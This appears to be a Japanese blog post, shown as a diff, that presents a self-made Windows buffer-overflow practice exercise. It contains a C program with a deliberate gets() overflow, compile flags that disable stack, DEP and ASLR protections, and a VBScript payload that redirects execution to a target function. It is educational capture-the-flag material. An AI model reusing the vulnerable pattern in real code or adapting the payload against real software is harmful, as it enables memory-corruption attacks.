1. ohisama@github

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    ohisama@github
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+pwnの練習問題 その3
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+#概要
+
+pwnの練習問題、作って見た。
+windowsで、やってみた。
+
+#環境
+
+windows vista 32bit
+visual studio 2010
+
+#練習問題
+
+
+
+```
+#include <stdio.h>
+
+void ctf()
+{
+ puts("You Cool!");
+ exit(0);
+}
+
+int main()
+{
+ char buf[10];
+ gets(buf);
+ printf("%p\n", buf);
+ printf("%p\n", ctf);
+ return 0;
+}
+
+```
+
+#コンパイル
+
+```
+cl ctf.c /GS- /link /nxcompat:no /dynamicbase:no
+```
+
+
+#動的解析
+
+落ちる。
+
+```
+echo "AAAAAAAAAAA" | ctf
+```
+
+#解答
+
+
+```
+Function hex2bin(HexText)
+ With CreateObject("Microsoft.XMLDOM").createElement("tmp")
+ .DataType = "bin.hex"
+ .Text = HexText
+ hex2bin = .NodeTypedValue
+ End With
+End Function
+
+Dim Hex
+Dim Text
+Hex = "41004100410041004100410041004100410041004100410041004100410041000000100040000000"
+'Hex = "41004100410041004100410041004100410041004100"
+Text = hex2bin(Hex)
+WScript.StdOut.Write CStr(Text)
+```
+
+#実行
+
+
+```
+cscript //nologo hex2bin1.vbs | ctf
+```
+
+以上。
+
+
+
+